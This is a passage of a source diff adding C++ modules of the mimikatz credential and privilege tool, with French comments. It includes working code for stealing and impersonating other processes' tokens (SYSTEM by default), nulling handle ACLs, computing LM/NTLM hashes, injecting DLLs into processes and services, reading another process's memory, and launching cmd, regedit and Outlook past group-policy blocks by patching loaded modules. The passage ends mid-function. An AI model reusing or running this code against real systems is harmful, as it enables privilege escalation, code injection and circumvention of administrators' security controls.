else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::tokenImpersonate(vector<wstring> * arguments)
|
||||
{
|
||||
PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast<PNT_SET_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess"));
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
|
||||
bool isProcessList = mod_process::getList(mesProcess);
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
|
||||
if(mod_system::getSystemHandles(mesHandles))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
if(_wcsicmp(tokenType.c_str(), L"token") == 0)
|
||||
{
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
|
||||
if(
|
||||
mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)
|
||||
)
|
||||
{
|
||||
wstring userName, domainName;
|
||||
if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
|
||||
{
|
||||
if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0)
|
||||
{
|
||||
wcout <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
|
||||
setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
|
||||
domainName << L'\\' << userName << L'\t';
|
||||
|
||||
if(mod_secacl::exchangeDupToken(&nouveauHandle))
|
||||
{
|
||||
if(ImpersonateLoggedOnUser(nouveauHandle))
|
||||
{
|
||||
wcout << L"ok !!" << endl;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
else wcout << mod_system::getWinError();
|
||||
}
|
||||
delete processHote;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::nullAcl(vector<wstring> * arguments)
|
||||
{
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
if(mod_system::getSystemHandles(mesHandles))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
bool toACL = true;;
|
||||
if(!arguments->empty())
|
||||
toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end();
|
||||
|
||||
if(toACL)
|
||||
wcout << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl;
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_secacl.h"
|
||||
#include <iostream>
|
||||
#include <algorithm>
|
||||
|
||||
class mod_mimikatz_handle
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
static bool processStop(vector<wstring> * arguments);
|
||||
static bool tokenImpersonate(vector<wstring> * arguments);
|
||||
static bool nullAcl(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,42 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_hash.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_hash::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractères"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractères"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_hash::lm(vector<wstring> * arguments)
|
||||
{
|
||||
wstring chaine, hash;
|
||||
|
||||
if(!arguments->empty())
|
||||
chaine = arguments->front();
|
||||
|
||||
if(mod_hash::lm(&chaine, &hash))
|
||||
wcout << L"LM(\'" << chaine << L"\') = " << hash << endl;
|
||||
else
|
||||
wcout << L"Erreur de calcul du hash LM" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_hash::ntlm(vector<wstring> * arguments)
|
||||
{
|
||||
wstring chaine, hash;
|
||||
|
||||
if(!arguments->empty())
|
||||
chaine = arguments->front();
|
||||
|
||||
if(mod_hash::ntlm(&chaine, &hash))
|
||||
wcout << L"NTLM(\'" << chaine << L"\') = " << hash << endl;
|
||||
else
|
||||
wcout << L"Erreur de calcul du hash NTLM" << endl;
|
||||
return true;
|
||||
}
|
@ -0,0 +1,18 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_hash.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_hash
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool lm(vector<wstring> * arguments);
|
||||
static bool ntlm(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,24 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_impersonate.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_impersonate::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf"));
|
||||
return monVector;
|
||||
}
|
||||
bool mod_mimikatz_impersonate::revert(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"RevertToSelf : ";
|
||||
if(RevertToSelf())
|
||||
wcout << L"ok";
|
||||
else
|
||||
wcout << L"ko ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,19 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_thread.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_impersonate
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool revert(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,119 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_inject.h"
|
||||
|
||||
mod_pipe * mod_mimikatz_inject::monCommunicator = NULL;
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::process(vector<wstring> * arguments)
|
||||
{
|
||||
wstring processName = arguments->front();
|
||||
wstring fullLib = arguments->back();
|
||||
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
if(mod_process::getUniqueForName(&monProcess, &processName))
|
||||
{
|
||||
wcout << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl;
|
||||
injectInPid(monProcess.th32ProcessID, fullLib);
|
||||
}
|
||||
else wcout << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::service(vector<wstring> * arguments)
|
||||
{
|
||||
wstring serviceName = arguments->front();
|
||||
wstring fullLib = arguments->back();
|
||||
|
||||
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
|
||||
if(mod_service::getUniqueForName(&monService, &serviceName))
|
||||
{
|
||||
wcout << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl;
|
||||
wcout << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl;
|
||||
injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib);
|
||||
}
|
||||
else wcout << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::pid(vector<wstring> * arguments)
|
||||
{
|
||||
wstring strPid = arguments->front();
|
||||
wstring fullLib = arguments->back();
|
||||
|
||||
DWORD pid;
|
||||
wstringstream monStream(strPid);
|
||||
monStream >> pid;
|
||||
|
||||
injectInPid(pid, fullLib, !(arguments->size() >= 3));
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!isComm || (isComm && !monCommunicator))
|
||||
{
|
||||
if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
|
||||
{
|
||||
if(isComm)
|
||||
{
|
||||
wstring monBuffer = L"";
|
||||
|
||||
monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
|
||||
wcout << L"Attente de connexion du client..." << endl;
|
||||
|
||||
if(monCommunicator->createServer())
|
||||
{
|
||||
wcout << L"Serveur connecté à un client !" << endl;
|
||||
if(monCommunicator->readFromPipe(monBuffer))
|
||||
{
|
||||
wcout << L"Message du processus :" << endl << monBuffer << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl;
|
||||
closeThisCommunicator();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl;
|
||||
closeThisCommunicator();
|
||||
}
|
||||
}
|
||||
else
|
||||
wcout << L"Injecté sans communication (legacy)" << endl;
|
||||
} else wcout << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"Erreur : un canal de communicaton est déjà ouvert" << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_inject::closeThisCommunicator()
|
||||
{
|
||||
if(monCommunicator)
|
||||
{
|
||||
wcout << L"Fermeture du canal de communication" << endl;
|
||||
delete monCommunicator;
|
||||
monCommunicator = NULL;
|
||||
}
|
||||
return true;
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_inject.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_service.h"
|
||||
#include "mod_pipe.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_inject
|
||||
{
|
||||
private:
|
||||
static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true);
|
||||
static void startComm();
|
||||
|
||||
public:
|
||||
static mod_pipe * monCommunicator;
|
||||
static bool closeThisCommunicator();
|
||||
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool pid(vector<wstring> * arguments);
|
||||
static bool process(vector<wstring> * arguments);
|
||||
static bool service(vector<wstring> * arguments);
|
||||
|
||||
static bool injectlegacy(vector<wstring> * arguments);
|
||||
|
||||
};
|
@ -0,0 +1,139 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_minesweeper.h"
|
||||
|
||||
char DISP_MINESWEEPER[] = "012345678.F? !!";
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_minesweeper::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_minesweeper::infos(vector<wstring> * arguments)
|
||||
{
|
||||
structHandleAndAddr * maStruct = new structHandleAndAddr();
|
||||
if(giveHandleAndAddr(maStruct))
|
||||
{
|
||||
STRUCT_MINESWEEPER_GAME monGame;
|
||||
if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper))
|
||||
{
|
||||
#ifdef _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber >= 7000)
|
||||
monGame.pBoard = monGame.pBoard_WIN7x86;
|
||||
#endif
|
||||
STRUCT_MINESWEEPER_BOARD monBoard;
|
||||
if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper))
|
||||
{
|
||||
wcout << L"Mines : " << monBoard.nbMines << endl <<
|
||||
L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl <<
|
||||
L"Champ : " << endl << endl;
|
||||
|
||||
char ** monTableau;
|
||||
monTableau = new char*[monBoard.nbLignes];
|
||||
for(DWORD l = 0; l < monBoard.nbLignes; l++)
|
||||
monTableau[l] = new char[monBoard.nbColonnes];
|
||||
|
||||
parseField(maStruct, monBoard.ref_visibles, monTableau, true);
|
||||
parseField(maStruct, monBoard.ref_mines, monTableau, false);
|
||||
|
||||
for(DWORD l = 0; l < monBoard.nbLignes; l++)
|
||||
{
|
||||
wcout << L'\t';
|
||||
for(DWORD c = 0; c < monBoard.nbColonnes; c++)
|
||||
wcout << monTableau[l][c] << L' ';
|
||||
wcout << endl;
|
||||
delete[] monTableau[l];
|
||||
}
|
||||
delete[] monTableau;
|
||||
} else wcout << L"Impossible de lire les données du plateau" << endl;
|
||||
} else wcout << L"Impossible de lire les données du jeu" << endl;
|
||||
CloseHandle(maStruct->hMineSweeper);
|
||||
}
|
||||
delete maStruct;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible)
|
||||
{
|
||||
DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE);
|
||||
|
||||
STRUCT_MINESWEEPER_REF_ELEMENT maRefElements;
|
||||
if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements];
|
||||
if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
for(DWORD c = 0; c < maRefElements.nbElements; c++)
|
||||
{
|
||||
STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement;
|
||||
if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
void * cellules = isVisible ? reinterpret_cast<void *>(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast<void *>(new BYTE[maRefColonneElement.nbElements]);
|
||||
if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
for(DWORD l = 0; l < maRefColonneElement.nbElements; l++)
|
||||
{
|
||||
if(isVisible)
|
||||
monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast<DWORD *>(cellules)[l]];
|
||||
else
|
||||
if(reinterpret_cast<BYTE *>(cellules)[l]) monTableau[l][c] = '*';
|
||||
}
|
||||
} else wcout << L"Impossible de lire les élements de la colonne : " << c << endl;
|
||||
delete[] cellules;
|
||||
} else wcout << L"Impossible de lire les références de la colonne : " << c << endl;
|
||||
}
|
||||
} else wcout << L"Impossible de lire les références des colonnes" << endl;
|
||||
delete[] ref_colonnes_elements;
|
||||
} else wcout << L"Impossible de lire les références de l\'élement" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8};
|
||||
LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1);
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8};
|
||||
LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1;
|
||||
#endif
|
||||
RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
|
||||
|
||||
wstring nomDemineur(L"minesweeper.exe");
|
||||
mod_process::KIWI_PROCESSENTRY32 monDemineur;
|
||||
if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
|
||||
{
|
||||
monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID;
|
||||
mod_process::KIWI_MODULEENTRY32 monModule;
|
||||
if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
|
||||
{
|
||||
PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
|
||||
if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper))
|
||||
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
long offsetTemp = 0;
|
||||
if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper))
|
||||
mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
|
||||
#elif defined _M_IX86
|
||||
if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper))
|
||||
mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G;
|
||||
|
||||
if(!reussite && monHandleAndAddr->hMineSweeper)
|
||||
CloseHandle(monHandleAndAddr->hMineSweeper);
|
||||
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_minesweeper
|
||||
{
|
||||
private:
|
||||
typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT {
|
||||
DWORD nbElements;
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
PVOID elements;
|
||||
DWORD unk2;
|
||||
DWORD unk3;
|
||||
} STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT;
|
||||
|
||||
typedef struct _STRUCT_MINESWEEPER_BOARD {
|
||||
PVOID Serializer;
|
||||
DWORD nbMines;
|
||||
DWORD nbLignes;
|
||||
DWORD nbColonnes;
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
DWORD unk2;
|
||||
DWORD unk3;
|
||||
DWORD unk4;
|
||||
DWORD unk5;
|
||||
DWORD unk6;
|
||||
DWORD unk7;
|
||||
DWORD unk8;
|
||||
DWORD unk9;
|
||||
#ifdef _M_X64
|
||||
DWORD unk_x64;
|
||||
#endif
|
||||
DWORD unk10;
|
||||
PVOID unk11;
|
||||
PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles;
|
||||
PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines;
|
||||
DWORD unk12;
|
||||
DWORD unk13;
|
||||
} STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD;
|
||||
|
||||
typedef struct _STRUCT_MINESWEEPER_GAME {
|
||||
PVOID Serializer;
|
||||
//PVOID pGameStat; on 7x86
|
||||
PVOID pNodeBase;
|
||||
PVOID pBoardCanvas;
|
||||
PSTRUCT_MINESWEEPER_BOARD pBoard;
|
||||
PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86;
|
||||
} STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME;
|
||||
|
||||
typedef struct structHandleAndAddr{
|
||||
HANDLE hMineSweeper;
|
||||
DWORD pidMineSweeper;
|
||||
PVOID G;
|
||||
} structHandleAndAddr;
|
||||
|
||||
static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
|
||||
static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
static bool infos(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,209 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_nogpo.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments)
|
||||
{
|
||||
char szDisable[] = "DisablePst";
|
||||
char szKiwi[] = "KiwiAndPst";
|
||||
|
||||
wstring pathToOutlook;
|
||||
|
||||
if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook))
|
||||
{
|
||||
DWORD pidOutlook = 0;
|
||||
bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook);
|
||||
|
||||
wcout << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO");
|
||||
if(reussite)
|
||||
{
|
||||
mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi));
|
||||
}
|
||||
} else wcout << L"Outlook introuvable" << endl;
|
||||
